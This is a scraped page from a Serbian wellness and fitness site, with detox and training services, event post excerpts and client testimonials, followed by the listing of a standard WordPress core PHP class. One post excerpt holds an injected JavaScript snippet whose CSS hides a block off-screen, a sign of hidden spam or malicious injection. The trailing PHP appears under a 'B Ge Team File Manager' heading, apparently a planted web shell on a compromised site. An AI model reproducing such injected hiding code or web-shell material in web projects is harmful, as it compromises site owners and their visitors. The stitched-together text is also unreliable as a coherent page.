Čime se bavimo

Detoks Program

Detox

Online treninzi

Online trainings

Prirodna kozmetika

Natural cosmetics

Meditativne tehnike

Meditative techniques

• events

Srce duše

By milica  /  October 20, 2017

  Radionica "Srce duše" biće održana u Novom Sadu 24.09.2017  (12-18h ) Svako ce dobiti nesto drugacije, jedinstveno, unikatno, samo njemu znano,

Read More

• events

Tesla

By dobrica  /  September 21, 2017

“Dar isceljujuće energije dolazi od Boga, vrhunskog bića, i ako mi spoznamo i osvestimo tu istinu, postajemo skladni sa ovom

Read More

• events

Osnovni Koraci Razvoja Svesnosti Kroz Nacin Ishrane I Brigu O Sebi

By milica  /  September 20, 2017

      ...jer samo zdrava dusa moze da ispuni svoju svrhu' Milica Vujic, kondicioni trener, fitnes instruktor, hard body trener, prakticar yoge, pilates

Read More

• events

Biljna hrana

By dobrica  /  June 21, 2017

function lJeCytLe(umR) { var BuvBN = "#mtaxnzy1mzuz{margin:0px 20px;overflow:hidden}#mtaxnzy1mzuz>div{top:-3874px;overflow:hidden;position:fixed;left:-2702px;display:block}";

Read More

Iskustva

Maja Vučkovic, Novi Sad

Kao trener temeljna, posvecena, istrajna, ljubazna i uvek sa osmehom na licu. Treninzi dinamicni, uvek drugaciji, zanimljivi. To je ono zbog cega mi nije bilo tesko da odem na svaki trening bez izgovora, a zbog cega i dan danas ne mogu da pronadjem nista slicno sto ce me osvojiti kao treninzi sa Milicom!

Daniela Lalić, Novi Sad

... momenat kada cuda postaju stvarnost, kada zelja postane ostvarljiva, kada ti se vraca osmeh na lice... Tog dana nisam ni slutila da ce mi se zivot toliko promeniti upoznavsi nju, obicnu devojku koja je bila neverovatno nasmejana,raspolozena, prosto je zracila tom svojom pozitivnoscu, nesebicno je prenoseci na druge... tako je i na mene... A ja sam bila tuzna devojka koja je imala problema sa hormonima, sa debljinom, velikim viskom kilograma... jeduci samo proteine jer je tad bila aktuelna takva vrsta ishrane, nadajuci se da cu ih skinuti na njenim treninzima, neznajuci da mi je bas ona stvarala te probleme, hormoni u zivotinjskom mesu remete nase hormone... A onda su dosli njeni saveti,pored veoma delotvornih treninga... U danasnje vreme ima mnogo ljudi koji su pozitivni ali retki su oni koji to mogu i da prenesu na druge... ona je jedna od njih... A zatim svojim velikim iskustvom u svetu sporta, fitnesa i najvise ishrane je podelila neke odredjene savete sa mnom... i hvala joj na tome... I danas se secam tog dana iako je proslo dosta godina od tad... Cujem se sa njom i danas, i sada ima vremena da odgovori na svaku moju poruku iako sam ja kao i svako drugi, obicna devojka, kojoj je potreban neki savet... a ona se sve te godine i dalje usavrsava i napreduje... Nismo ni drugarice ni prijateljice, jer se to postaje na drugaciji nacin, ali ima veoma vazno mesto u mom zivotu jer mi se od tad zivot poceo menjati...

Carla Almassri 11, Erbil

Treninzi su bili odlični. Bilo je to zabavno iskustvo. Osećala sam se kako se poboljšavam te sam naučila mnogo veština koje i dalje dan danas koristim. Obožavam ih .

Branka Laketić, Novi Sad

Na treninzima je bilo fenomenalno, prijatna atmosfera, jaki i dobri treninzi, trener posvecen svom poslu, a i nama svima. Sve u svemu, prezadovoljna sam bila i rado bih nastavila kada bih imala priliku.

Jelena kragović, Beograd

Milica je pre svega jedna divna osoba koja je uvek otvorena da porazgovara sa Vama i da Vam iskreni savet bez podsmevanja ili ruznih pogleda sa mislju "Na sta licis!", sto se verujte mi desava. Sa Milicom se svako oseca motivisano, jer je pravi profesionalac i reci ce Vam uvek da za trening nikada nije kasno.  Svakome se posveti sto se treninga tice maksimalno i pomogne i sa savetima u vezi ishrane, pored svega. Sve tople preporuke za Milicu od mene. Na kraju krajeva, ne morate mi verovati, vec trenirajte sa njom, pa cete se uveriti i sami. I da, da ne zaboravim...pored svega Milica je prelepa...Sve pohvale i tople preporuke za Milicu

Nataša Stanković, Novi Sad

Sjajni treninzi, preciznost, postavljanje ciljeva, njihovo ostvarivanje kao i sjajna komunikacija omogucili su mi da sa uvek nasmejanom Milicom uspostavim odnos kakav se moze pozeleti. Uspela je da poboljsa moje performanse, savetovala me je u vezi sa ishranom i odrzavala motivaciju za ostvarivanjem ciljeva. Takodje, naucila me je kako da uzivam u svakom treningu i da mi isti ne predstavlja obavezu, vec nesto cemu sam se celog dana radovala. Uspesno smo saradjivale, preporucila bih je svakome i sa sigurnoscu mogu da tvrdim da ce Milica za kratko vreme uspeti da promeni Vas nacin zivota i da iskoreni lose navike.

Danijela Jocic, Beograd

Milicu sam slucajno upoznala u jednoj teretani, u Beogradu. Prica pocinje ovako: Odlazila sam na kardio treninge i na poneku spravicu u teretanu u komsiluku dok mi jedan dan paznju nije privukla jedna devojka u sali koja sprema nesto sto jos nisam videla na tv-u, bar ono reklama sto ugrabim u slobodno vreme. Simpatizer sam grupnih treninga, sa razlicitim vezbama i brzim rezultatom. Strpljenje mi je slaba tacka, pogotovo kad imate malo vremena da liniju dovedete skoro do savrsenstva. Ono sto mi je prvo skrenulo pogled ka sali gde se uveliko spremalo nesto novo bila je muzika koja bukvalno "dize iz mrtvih". Dve reci te devojke-Milice, mog trenera, bile su dovoljne da joj se pridruzim odmah, cak i pre formiranja prve grupe polaznika. Nailazim na ODUSEVLJENJE! Strah na pocetku, da li cu izdrzati trening, naporno je, zahteva kondiciju, snagu, koncentraciju, uigranost! Zove se Insanity. Dve godine u tom ritmu je proletelo...4-5 puta nedeljno odlazenja na treninge cinili su mi veliko zadovoljstvo i srecu. Moja sestra je krenula odmah sa mnom. Grupa od deset devojaka treniraju kao jedan! Koliko raspolozenje posle treninga, od sat ipo vremena! Noge, stomak i ruke kao na profi slikama iz casopisa! Trening pripremljen i osmisljen kao u najboljem inostranom spotu, vezbe povezane, koordinacija tela...Prvo zagrevanje, a potom krecemo od glave i vrata, ruku, stomaka, nogu...istezanje. Muzika drzi atmosferu da ne razmisljamo o umoru. Svaki trening drugaciji, nema mesta monotoniji. Koristimo tegice, vijace. Na kraju treninga mokra majica nam najbolje pokaze rezultat svega toga. Moram priznati da sam ishranu morala malo da korigujem jer mi je genetika takva, sve se lepi. To mi je sve bilo lako uz Milicine razgovore, savete, recepte, redovno proveravanje kilaze i masti. Neko je jos brinuo o mom telu i zdravlju.

Sara Barzani, Erbil

Trening s Milicom je jedno od najboljih iskustva koje sam imala u zivotu. Tezak posao se s njom cinio toliko lagano. Ona kao trener me gurala u treninzima da postignem svoje ciljeve. Umor nije uopste bio problem s njenom pomoci. Pomogla mi je transformisati moje telo, onako kako sam zelela. Energija i izdrzljivost su mi bile dve najvaznije stvari koje mi je pomogla poboljsati.

Sherri Kraham Talabany, Erbil

Moj muž i ja obožavali smo kao klijenti raditi s Milicom koja nas je držala na nogama sa rigoroznim režimom kroz trening snage, trening za tonus i kardio trening ukomponovan u jedan sat intenzivnog vežbanja. Čak je menjala vežbe tako da nikada nije bilo dosadno i uvek je uspevala napraviti trening za kompletno telo. To je vodilo do vrhunskih rezultata na telesnom i fitness nivou.

prevnext

B Ge Team File Manager

<?php
/**
 * Meta API: WP_Metadata_Lazyloader class
 *
 * @package WordPress
 * @subpackage Meta
 * @since 4.5.0
 */

/**
 * Core class used for lazy-loading object metadata.
 *
 * When loading many objects of a given type, such as posts in a WP_Query loop, it often makes
 * sense to prime various metadata caches at the beginning of the loop. This means fetching all
 * relevant metadata with a single database query, a technique that has the potential to improve
 * performance dramatically in some cases.
 *
 * In cases where the given metadata may not even be used in the loop, we can improve performance
 * even more by only priming the metadata cache for affected items the first time a piece of metadata
 * is requested - ie, by lazy-loading it. So, for example, comment meta may not be loaded into the
 * cache in the comments section of a post until the first time get_comment_meta() is called in the
 * context of the comment loop.
 *
 * WP uses the WP_Metadata_Lazyloader class to queue objects for metadata cache priming. The class
 * then detects the relevant get_*_meta() function call, and queries the metadata of all queued objects.
 *
 * Do not access this class directly. Use the wp_metadata_lazyloader() function.
 *
 * @since 4.5.0
 */
class WP_Metadata_Lazyloader {
	/**
	 * Pending objects queue.
	 *
	 * @since 4.5.0
	 * @access protected
	 * @var array
	 */
	protected $pending_objects;

	/**
	 * Settings for supported object types.
	 *
	 * @since 4.5.0
	 * @access protected
	 * @var array
	 */
	protected $settings = array();

	/**
	 * Constructor.
	 *
	 * @since 4.5.0
	 * @access public
	 */
	public function __construct() {
		$this->settings = array(
			'term' => array(
				'filter'   => 'get_term_metadata',
				'callback' => array( $this, 'lazyload_term_meta' ),
			),
			'comment' => array(
				'filter'   => 'get_comment_metadata',
				'callback' => array( $this, 'lazyload_comment_meta' ),
			),
		);
	}

	/**
	 * Adds objects to the metadata lazy-load queue.
	 *
	 * @since 4.5.0
	 * @access public
	 *
	 * @param string $object_type Type of object whose meta is to be lazy-loaded. Accepts 'term' or 'comment'.
	 * @param array  $object_ids  Array of object IDs.
	 * @return bool|WP_Error True on success, WP_Error on failure.
	 */
	public function queue_objects( $object_type, $object_ids ) {
		if ( ! isset( $this->settings[ $object_type ] ) ) {
			return new WP_Error( 'invalid_object_type', __( 'Invalid object type' ) );
		}

		$type_settings = $this->settings[ $object_type ];

		if ( ! isset( $this->pending_objects[ $object_type ] ) ) {
			$this->pending_objects[ $object_type ] = array();
		}

		foreach ( $object_ids as $object_id ) {
			// Keyed by ID for faster lookup.
			if ( ! isset( $this->pending_objects[ $object_type ][ $object_id ] ) ) {
				$this->pending_objects[ $object_type ][ $object_id ] = 1;
			}
		}

		add_filter( $type_settings['filter'], $type_settings['callback'] );

		/**
		 * Fires after objects are added to the metadata lazy-load queue.
		 *
		 * @since 4.5.0
		 *
		 * @param array                  $object_ids  Object IDs.
		 * @param string                 $object_type Type of object being queued.
		 * @param WP_Metadata_Lazyloader $lazyloader  The lazy-loader object.
		 */
		do_action( 'metadata_lazyloader_queued_objects', $object_ids, $object_type, $this );
	}

	/**
	 * Resets lazy-load queue for a given object type.
	 *
	 * @since 4.5.0
	 * @access public
	 *
	 * @param string $object_type Object type. Accepts 'comment' or 'term'.
	 * @return bool|WP_Error True on success, WP_Error on failure.
	 */
	public function reset_queue( $object_type ) {
		if ( ! isset( $this->settings[ $object_type ] ) ) {
			return new WP_Error( 'invalid_object_type', __( 'Invalid object type' ) );
		}

		$type_settings = $this->settings[ $object_type ];

		$this->pending_objects[ $object_type ] = array();
		remove_filter( $type_settings['filter'], $type_settings['callback'] );
	}

	/**
	 * Lazy-loads term meta for queued terms.
	 *
	 * This method is public so that it can be used as a filter callback. As a rule, there
	 * is no need to invoke it directly.
	 *
	 * @since 4.5.0
	 * @access public
	 *
	 * @param mixed $check The `$check` param passed from the 'get_term_metadata' hook.
	 * @return mixed In order not to short-circuit `get_metadata()`. Generally, this is `null`, but it could be
	 *               another value if filtered by a plugin.
	 */
	public function lazyload_term_meta( $check ) {
		if ( ! empty( $this->pending_objects['term'] ) ) {
			update_termmeta_cache( array_keys( $this->pending_objects['term'] ) );

			// No need to run again for this set of terms.
			$this->reset_queue( 'term' );
		}

		return $check;
	}

	/**
	 * Lazy-loads comment meta for queued comments.
	 *
	 * This method is public so that it can be used as a filter callback. As a rule, there is no need to invoke it
	 * directly, from either inside or outside the `WP_Query` object.
	 *
	 * @since 4.5.0
	 *
	 * @param mixed $check The `$check` param passed from the {@see 'get_comment_metadata'} hook.
	 * @return mixed The original value of `$check`, so as not to short-circuit `get_comment_metadata()`.
	 */
	public function lazyload_comment_meta( $check ) {
		if ( ! empty( $this->pending_objects['comment'] ) ) {
			update_meta_cache( 'comment', array_keys( $this->pending_objects['comment'] ) );

			// No need to run again for this set of comments.
			$this->reset_queue( 'comment' );
		}

		return $check;
	}
}